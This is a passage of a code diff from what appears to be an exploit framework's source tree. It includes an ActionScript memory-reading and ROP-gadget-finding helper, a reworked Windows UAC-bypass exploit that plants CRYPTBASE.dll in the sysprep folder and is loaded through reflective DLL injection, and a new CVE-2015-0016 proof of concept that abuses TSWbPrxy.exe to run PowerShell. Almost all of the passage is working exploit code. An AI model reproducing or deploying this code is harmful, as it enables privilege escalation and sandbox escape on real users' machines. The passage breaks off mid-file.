orig_first_thunk += dos_header;
break;
}
}
import_descriptor += (5 * 4);
orig_first_thunk = m.read_dword(import_descriptor);
}
var first_thunk:uint = dos_header + m.read_dword(import_descriptor + 16);
var thunk:uint = orig_first_thunk;
var import_by_name_rva:uint = m.read_dword(thunk);
while (import_by_name_rva != 0) {
var function_name_ptr:uint = dos_header + import_by_name_rva + 2;
var function_name:String = m.read_string(function_name_ptr);
if (function_name == fun_name) {
return m.read_dword(first_thunk);
}
thunk += 4;
first_thunk += 4;
import_by_name_rva = m.read_dword(thunk);
}
return 0;
}
public function GetGadget(gadget:ByteArray):uint {
var opt_header_size:uint = m.read_dword(file_header + 16) & 0xffff;
var section_count:uint = (m.read_dword(file_header) >> 16) & 0xffff;
var section_header:uint = opt_header + opt_header_size;
for (var i:uint = 0; i < section_count; ++i) {
var characteristics:uint = m.read_dword(section_header + (9 * 4));
if ((characteristics & 0xe0000000) == 0x60000000) {
// this section is read/execute, so scan for gadget
var section_rva:uint = m.read_dword(section_header + 12);
var section_size:uint = m.read_dword(section_header + 16);
var section_base:uint = base + section_rva;
var section:ByteArray = new ByteArray();
section.endian = "littleEndian";
section.length = section_size;
for (var j:uint = 0; j < section_size; j += 4) {
section.writeUnsignedInt(
m.read_dword(section_base + j));
}
for (j = 0; j < section_size; j += 1) {
section.position = j;
gadget.position = 0;
while (section.readByte() == gadget.readByte()) {
if (gadget.position == gadget.length) {
return section_base + j;
}
}
}
}
section_header += 10 * 5;
}
return 0;
}
public function PE32(memory:Memory, ptr:uint) {
m = memory;
base = FindBase(ptr);
ParseHeaders();
}
}
}

View File

@ -0,0 +1,51 @@
package
{
public class Pwned
{
public var magic1:uint;
public var magic2:uint;
public function Rop(
arg_00:uint, arg_01:uint, arg_02:uint, arg_03:uint, arg_04:uint, arg_05:uint, arg_06:uint, arg_07:uint,
arg_08:uint, arg_09:uint, arg_0a:uint, arg_0b:uint, arg_0c:uint, arg_0d:uint, arg_0e:uint, arg_0f:uint,
arg_10:uint, arg_11:uint, arg_12:uint, arg_13:uint, arg_14:uint, arg_15:uint, arg_16:uint, arg_17:uint,
arg_18:uint, arg_19:uint, arg_1a:uint, arg_1b:uint, arg_1c:uint, arg_1d:uint, arg_1e:uint, arg_1f:uint,
arg_20:uint, arg_21:uint, arg_22:uint, arg_23:uint, arg_24:uint, arg_25:uint, arg_26:uint, arg_27:uint,
arg_28:uint, arg_29:uint, arg_2a:uint, arg_2b:uint, arg_2c:uint, arg_2d:uint, arg_2e:uint, arg_2f:uint,
arg_30:uint, arg_31:uint, arg_32:uint, arg_33:uint, arg_34:uint, arg_35:uint, arg_36:uint, arg_37:uint,
arg_38:uint, arg_39:uint, arg_3a:uint, arg_3b:uint, arg_3c:uint, arg_3d:uint, arg_3e:uint, arg_3f:uint,
arg_40:uint, arg_41:uint, arg_42:uint, arg_43:uint, arg_44:uint, arg_45:uint, arg_46:uint, arg_47:uint,
arg_48:uint, arg_49:uint, arg_4a:uint, arg_4b:uint, arg_4c:uint, arg_4d:uint, arg_4e:uint, arg_4f:uint,
arg_50:uint, arg_51:uint, arg_52:uint, arg_53:uint, arg_54:uint, arg_55:uint, arg_56:uint, arg_57:uint,
arg_58:uint, arg_59:uint, arg_5a:uint, arg_5b:uint, arg_5c:uint, arg_5d:uint, arg_5e:uint, arg_5f:uint,
arg_60:uint, arg_61:uint, arg_62:uint, arg_63:uint, arg_64:uint, arg_65:uint, arg_66:uint, arg_67:uint,
arg_68:uint, arg_69:uint, arg_6a:uint, arg_6b:uint, arg_6c:uint, arg_6d:uint, arg_6e:uint, arg_6f:uint,
arg_70:uint, arg_71:uint, arg_72:uint, arg_73:uint, arg_74:uint, arg_75:uint, arg_76:uint, arg_77:uint,
arg_78:uint, arg_79:uint, arg_7a:uint, arg_7b:uint, arg_7c:uint, arg_7d:uint, arg_7e:uint, arg_7f:uint,
arg_80:uint, arg_81:uint, arg_82:uint, arg_83:uint, arg_84:uint, arg_85:uint, arg_86:uint, arg_87:uint,
arg_88:uint, arg_89:uint, arg_8a:uint, arg_8b:uint, arg_8c:uint, arg_8d:uint, arg_8e:uint, arg_8f:uint,
arg_90:uint, arg_91:uint, arg_92:uint, arg_93:uint, arg_94:uint, arg_95:uint, arg_96:uint, arg_97:uint,
arg_98:uint, arg_99:uint, arg_9a:uint, arg_9b:uint, arg_9c:uint, arg_9d:uint, arg_9e:uint, arg_9f:uint,
arg_a0:uint, arg_a1:uint, arg_a2:uint, arg_a3:uint, arg_a4:uint, arg_a5:uint, arg_a6:uint, arg_a7:uint,
arg_a8:uint, arg_a9:uint, arg_aa:uint, arg_ab:uint, arg_ac:uint, arg_ad:uint, arg_ae:uint, arg_af:uint,
arg_b0:uint, arg_b1:uint, arg_b2:uint, arg_b3:uint, arg_b4:uint, arg_b5:uint, arg_b6:uint, arg_b7:uint,
arg_b8:uint, arg_b9:uint, arg_ba:uint, arg_bb:uint, arg_bc:uint, arg_bd:uint, arg_be:uint, arg_bf:uint,
arg_c0:uint, arg_c1:uint, arg_c2:uint, arg_c3:uint, arg_c4:uint, arg_c5:uint, arg_c6:uint, arg_c7:uint,
arg_c8:uint, arg_c9:uint, arg_ca:uint, arg_cb:uint, arg_cc:uint, arg_cd:uint, arg_ce:uint, arg_cf:uint,
arg_d0:uint, arg_d1:uint, arg_d2:uint, arg_d3:uint, arg_d4:uint, arg_d5:uint, arg_d6:uint, arg_d7:uint,
arg_d8:uint, arg_d9:uint, arg_da:uint, arg_db:uint, arg_dc:uint, arg_dd:uint, arg_de:uint, arg_df:uint,
arg_e0:uint, arg_e1:uint, arg_e2:uint, arg_e3:uint, arg_e4:uint, arg_e5:uint, arg_e6:uint, arg_e7:uint,
arg_e8:uint, arg_e9:uint, arg_ea:uint, arg_eb:uint, arg_ec:uint, arg_ed:uint, arg_ee:uint, arg_ef:uint,
arg_f0:uint, arg_f1:uint, arg_f2:uint, arg_f3:uint, arg_f4:uint, arg_f5:uint, arg_f6:uint, arg_f7:uint,
arg_f8:uint, arg_f9:uint, arg_fa:uint, arg_fb:uint, arg_fc:uint, arg_fd:uint, arg_fe:uint, arg_ff:uint):uint
{
return magic1 + magic2;
}
public function Pwned()
{
magic1 = 0xdecafbad;
magic2 = 0xdecafbad;
}
}
}

View File

@ -93,7 +93,7 @@
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;REFLECTIVE_DLL_EXPORTS;;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<MinimalRebuild>true</MinimalRebuild>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
<RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>
@ -132,7 +132,7 @@
<Optimization>MaxSpeed</Optimization>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;WIN_X86;REFLECTIVE_DLL_EXPORTS;REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR;REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN;;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<FunctionLevelLinking>true</FunctionLevelLinking>
<PrecompiledHeader />
@ -190,13 +190,13 @@ copy /y "$(TargetDir)$(TargetFileName)" "..\..\..\..\..\data\post\"</Command>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="src\Exploit.cpp" />
<ClCompile Include="src\ReflectiveDll.c" />
<ClCompile Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.c" />
<ClCompile Include="src\ReflectiveDll.c" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="src\Exploit.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\common\ReflectiveDLLInjection.h" />
<ClInclude Include="..\..\..\ReflectiveDLLInjection\dll\src\ReflectiveLoader.h" />
<ClInclude Include="src\Exploit.h" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

247
external/source/exploits/bypassuac_injection/dll/src/Exploit.cpp vendored Normal file → Executable file
View File

@ -1,119 +1,158 @@
#include "ReflectiveLoader.h"
#include "Exploit.h"
void exploit()
{
#define SAFERELEASE(x) if(NULL != x){x->Release(); x = NULL;}
const wchar_t *szSysPrepDir = L"\\System32\\sysprep\\";
const wchar_t *szSysPrepDir_syswow64 = L"\\Sysnative\\sysprep\\";
const wchar_t *sySysPrepExe = L"sysprep.exe";
const wchar_t *szElevDll = L"CRYPTBASE.dll";
const wchar_t *szSourceDll = L"CRYPTBASE.dll";
wchar_t szElevDir[MAX_PATH] = {};
wchar_t szElevDir_syswow64[MAX_PATH] = {};
wchar_t szElevDllFull[MAX_PATH] = {};
wchar_t szElevDllFull_syswow64[MAX_PATH] = {};
wchar_t szElevExeFull[MAX_PATH] = {};
wchar_t path[MAX_PATH] = {};
wchar_t windir[MAX_PATH] = {};
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
PVOID OldValue = NULL;
extern "C" {
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
void exploit(BypassUacPaths const * const paths)
{
const wchar_t *szElevArgs = L"";
const wchar_t *szEIFOMoniker = NULL;
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
PVOID OldValue = NULL;
GetWindowsDirectoryW(windir, MAX_PATH);
GetTempPathW(MAX_PATH, path);
IFileOperation *pFileOp = NULL;
IShellItem *pSHISource = 0;
IShellItem *pSHIDestination = 0;
IShellItem *pSHIDelete = 0;
/* %temp%\cryptbase.dll */
wcscat_s(path, MAX_PATH, szSourceDll);
/* %windir%\System32\sysprep\ */
wcscat_s(szElevDir, MAX_PATH, windir);
wcscat_s(szElevDir, MAX_PATH, szSysPrepDir);
BOOL bComInitialised = FALSE;
/* %windir%\sysnative\sysprep\ */
wcscat_s(szElevDir_syswow64, MAX_PATH, windir);
wcscat_s(szElevDir_syswow64, MAX_PATH, szSysPrepDir_syswow64);
const IID *pIID_EIFO = &__uuidof(IFileOperation);
const IID *pIID_EIFOClass = &__uuidof(FileOperation);
const IID *pIID_ShellItem2 = &__uuidof(IShellItem2);
/* %windir\system32\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull, MAX_PATH, szElevDir);
wcscat_s(szElevDllFull, MAX_PATH, szElevDll);
dprintf("[BYPASSUACINJ] szElevDir = %S", paths->szElevDir);
dprintf("[BYPASSUACINJ] szElevDirSysWow64 = %S", paths->szElevDirSysWow64);
dprintf("[BYPASSUACINJ] szElevDll = %S", paths->szElevDll);
dprintf("[BYPASSUACINJ] szElevDllFull = %S", paths->szElevDllFull);
dprintf("[BYPASSUACINJ] szElevExeFull = %S", paths->szElevExeFull);
dprintf("[BYPASSUACINJ] szDllTempPath = %S", paths->szDllTempPath);
/* %windir\sysnative\sysprep\cryptbase.dll */
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDir_syswow64);
wcscat_s(szElevDllFull_syswow64, MAX_PATH, szElevDll);
/* %windir%\system32\sysprep\sysprep.exe */
wcscat_s(szElevExeFull, MAX_PATH, szElevDir);
wcscat_s(szElevExeFull, MAX_PATH, sySysPrepExe);
if (CoInitialize(NULL) == S_OK)
{
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**) &pFileOp) == S_OK)
do
{
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) == S_OK)
if (CoInitialize(NULL) != S_OK)
{
if (SHCreateItemFromParsingName((PCWSTR) path, NULL, *pIID_ShellItem2, (void**) &pSHISource) == S_OK)
{
if (SHCreateItemFromParsingName(szElevDir, NULL, *pIID_ShellItem2, (void**) &pSHIDestination) == S_OK)
{
if (pFileOp->CopyItem(pSHISource, pSHIDestination, szElevDll, NULL) == S_OK)
{
/* Copy the DLL file to the sysprep folder*/
if (pFileOp->PerformOperations() == S_OK)
{
/* Execute sysprep.exe */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK == SHCreateItemFromParsingName(szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK == SHCreateItemFromParsingName(szElevDllFull_syswow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete))
{
if (0 != pSHIDelete)
{
if (S_OK == pFileOp->DeleteItem(pSHIDelete, NULL))
{
pFileOp->PerformOperations();
}
}
}
}
}
}
}
}
}
}
dprintf("[BYPASSUACINJ] Failed to initialize COM");
break;
}
bComInitialised = TRUE;
if (CoCreateInstance(*pIID_EIFOClass, NULL, CLSCTX_LOCAL_SERVER | CLSCTX_INPROC_SERVER | CLSCTX_INPROC_HANDLER, *pIID_EIFO, (void**)&pFileOp) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't create EIFO instance");
break;
}
if (pFileOp->SetOperationFlags(FOF_NOCONFIRMATION | FOF_NOERRORUI | FOF_SILENT | FOFX_SHOWELEVATIONPROMPT | FOFX_NOCOPYHOOKS | FOFX_REQUIREELEVATION) != S_OK)
{
dprintf("[BYPASSUACINJ] Couldn't Set operating flags on file op.");
break;
}
if (SHCreateItemFromParsingName((PCWSTR)paths->szDllTempPath, NULL, *pIID_ShellItem2, (void**)&pSHISource) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (source)");
break;
}
if (SHCreateItemFromParsingName(paths->szElevDir, NULL, *pIID_ShellItem2, (void**)&pSHIDestination) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to create item from name (destination)");
break;
}
if (pFileOp->CopyItem(pSHISource, pSHIDestination, paths->szElevDll, NULL) != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to prepare copy op for elev dll");
break;
}
/* Copy the DLL file to the target folder*/
if (pFileOp->PerformOperations() != S_OK)
{
dprintf("[BYPASSUACINJ] Unable to copy elev dll");
break;
}
/* Execute the target binary */
SHELLEXECUTEINFOW shinfo;
ZeroMemory(&shinfo, sizeof(shinfo));
shinfo.cbSize = sizeof(shinfo);
shinfo.fMask = SEE_MASK_NOCLOSEPROCESS;
shinfo.lpFile = paths->szElevExeFull;
shinfo.lpParameters = szElevArgs;
shinfo.lpDirectory = paths->szElevDir;
shinfo.nShow = SW_HIDE;
Wow64DisableWow64FsRedirection(&OldValue);
if (ShellExecuteExW(&shinfo) && shinfo.hProcess != NULL)
{
WaitForSingleObject(shinfo.hProcess, 10000);
CloseHandle(shinfo.hProcess);
}
if (S_OK != SHCreateItemFromParsingName(paths->szElevDllFull, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name (delete)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted dll");
// bail out this point because we don't need to keep trying to delete
break;
}
SAFERELEASE(pSHIDelete);
// If we fail to delete the file probably SYSWOW64 process so use SYSNATIVE to get the correct path
// DisableWOW64Redirect fails at this? Possibly due to how it interacts with UAC see:
// http://msdn.microsoft.com/en-us/library/windows/desktop/aa384187(v=vs.85).aspx
if (S_OK != SHCreateItemFromParsingName(paths->szElevDirSysWow64, NULL, *pIID_ShellItem2, (void**)&pSHIDelete)
|| NULL == pSHIDelete)
{
dprintf("[BYPASSUACINJ] Failed to create item from parsing name for delete (shellitem2)");
break;
}
if (S_OK != pFileOp->DeleteItem(pSHIDelete, NULL))
{
dprintf("[BYPASSUACINJ] Failed to prepare op for delete (shellitem2)");
break;
}
if (pFileOp->PerformOperations() == S_OK)
{
dprintf("[BYPASSUACINJ] Successfully deleted DLL in target directory from SYSWOW64 process");
}
else
{
dprintf("[BYPASSUACINJ] Failed to delete target DLL");
}
} while (0);
SAFERELEASE(pSHIDelete);
SAFERELEASE(pSHIDestination);
SAFERELEASE(pSHISource);
SAFERELEASE(pFileOp);
if (bComInitialised)
{
CoUninitialize();
}
}
}
}

30
external/source/exploits/bypassuac_injection/dll/src/Exploit.h vendored Normal file → Executable file
View File

@ -5,4 +5,32 @@
#include <stdio.h>
#include <guiddef.h>
EXTERN_C void exploit();
// Uncomment this line to include debug output
//#define DEBUGTRACE
#ifdef DEBUGTRACE
#define dprintf(...) real_dprintf(__VA_ARGS__)
static void real_dprintf(char *format, ...)
{
va_list args;
char buffer[1024];
va_start(args, format);
vsnprintf_s(buffer, sizeof(buffer), sizeof(buffer)-3, format, args);
strcat_s(buffer, sizeof(buffer), "\r\n");
OutputDebugStringA(buffer);
}
#else
#define dprintf(...)
#endif
typedef struct _BypassUacPaths
{
wchar_t szElevDir[MAX_PATH];
wchar_t szElevDirSysWow64[MAX_PATH];
wchar_t szElevDll[MAX_PATH];
wchar_t szElevDllFull[MAX_PATH];
wchar_t szElevExeFull[MAX_PATH];
wchar_t szDllTempPath[MAX_PATH];
} BypassUacPaths;
EXTERN_C void exploit(BypassUacPaths const * const paths);

43
external/source/exploits/bypassuac_injection/dll/src/ReflectiveDll.c vendored Normal file → Executable file
View File

@ -5,22 +5,29 @@ extern HINSTANCE hAppInstance;
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved )
{
BOOL bReturnValue = TRUE;
switch( dwReason )
{
case DLL_QUERY_HMODULE:
if( lpReserved != NULL )
*(HMODULE *)lpReserved = hAppInstance;
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
exploit();
ExitProcess(0);
break;
case DLL_PROCESS_DETACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
switch (dwReason)
{
case DLL_QUERY_HMODULE:
if (lpReserved != NULL)
{
*(HMODULE *)lpReserved = hAppInstance;
}
break;
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
if (NULL != lpReserved)
{
dprintf("[BYPASSUACINJ] Launching exploit with 0x%p", lpReserved);
exploit((BypassUacPaths*)lpReserved);
}
ExitProcess(0);
break;
default:
break;
}
return TRUE;
}

View File

@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2013
VisualStudioVersion = 12.0.31101.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "cve-2015-0016", "cve-2015-0016\cve-2015-0016.vcxproj", "{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.ActiveCfg = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Debug|Win32.Build.0 = Debug|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.ActiveCfg = Release|Win32
{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -0,0 +1,48 @@
========================================================================
DYNAMIC LINK LIBRARY : cve-2015-0016 Project Overview
========================================================================
AppWizard has created this cve-2015-0016 DLL for you.
This file contains a summary of what you will find in each of the files that
make up your cve-2015-0016 application.
cve-2015-0016.vcxproj
This is the main project file for VC++ projects generated using an Application Wizard.
It contains information about the version of Visual C++ that generated the file, and
information about the platforms, configurations, and project features selected with the
Application Wizard.
cve-2015-0016.vcxproj.filters
This is the filters file for VC++ projects generated using an Application Wizard.
It contains information about the association between the files in your project
and the filters. This association is used in the IDE to show grouping of files with
similar extensions under a specific node (for e.g. ".cpp" files are associated with the
"Source Files" filter).
cve-2015-0016.cpp
This is the main DLL source file.
When created, this DLL does not export any symbols. As a result, it
will not produce a .lib file when it is built. If you wish this project
to be a project dependency of some other project, you will either need to
add code to export some symbols from the DLL so that an export library
will be produced, or you can set the Ignore Input Library property to Yes
on the General propert page of the Linker folder in the project's Property
Pages dialog box.
/////////////////////////////////////////////////////////////////////////////
Other standard files:
StdAfx.h, StdAfx.cpp
These files are used to build a precompiled header (PCH) file
named cve-2015-0016.pch and a precompiled types file named StdAfx.obj.
/////////////////////////////////////////////////////////////////////////////
Other notes:
AppWizard uses "TODO:" comments to indicate parts of the source code you
should add to or customize.
/////////////////////////////////////////////////////////////////////////////

View File

@ -0,0 +1,46 @@
// MyExploit.cpp : Defines the exported functions for the DLL application.
//
#include "stdafx.h"
#include <objbase.h>
#import "C:\\Windows\\System32\\TSWbPrxy.exe" named_guids no_namespace
#define MAX_ENV 32767
bstr_t GetEnv(LPCSTR env)
{
CHAR buf[MAX_ENV];
GetEnvironmentVariable(env, buf, MAX_ENV);
return buf;
}
void DoTSWbPrxyExploit() {
HRESULT hr;
IMSTSWebProxy *pUnk;
CHAR cmdline[] = "TSWbPrxy.exe";
STARTUPINFO startInfo = { 0 };
PROCESS_INFORMATION procInfo = { 0 };
hr = CreateProcess(GetEnv("windir") + "\\System32\\TSWbPrxy.exe", cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);
if (hr == 0)
return;
hr = CoCreateInstance(CLSID_MSTSWebProxy, NULL, CLSCTX_SERVER, IID_IMSTSWebProxy, (void**)&pUnk);
if (hr != 0)
return;
pUnk->StartRemoteDesktop(GetEnv("windir") + "\\system32\\WindowsPowerShell\\v1.0\\powershell.exe", GetEnv("PSHCMD"));
pUnk->Release();
}
DWORD CALLBACK ExploitThread(LPVOID hModule)
{
CoInitialize(nullptr);
DoTSWbPrxyExploit();
CoUninitialize();
FreeLibraryAndExitThread((HMODULE)hModule, 0);
}

View File

@ -0,0 +1,105 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="12.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{ECCE1CC1-448F-4BCC-8E2B-F9B18F7C2450}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>cve20150016</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>DynamicLibrary</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v120</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;_USRDLL;CVE20150016_EXPORTS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<SDLCheck>true</SDLCheck>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<CompileAs>CompileAsCpp</CompileAs>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<Text Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="cve-2015-0016.cpp" />
<ClCompile Include="dllmain.cpp">
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
</PrecompiledHeader>
<CompileAsManaged Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">false</CompileAsManaged>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
</PrecompiledHeader>
</ClCompile>
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -0,0 +1,39 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
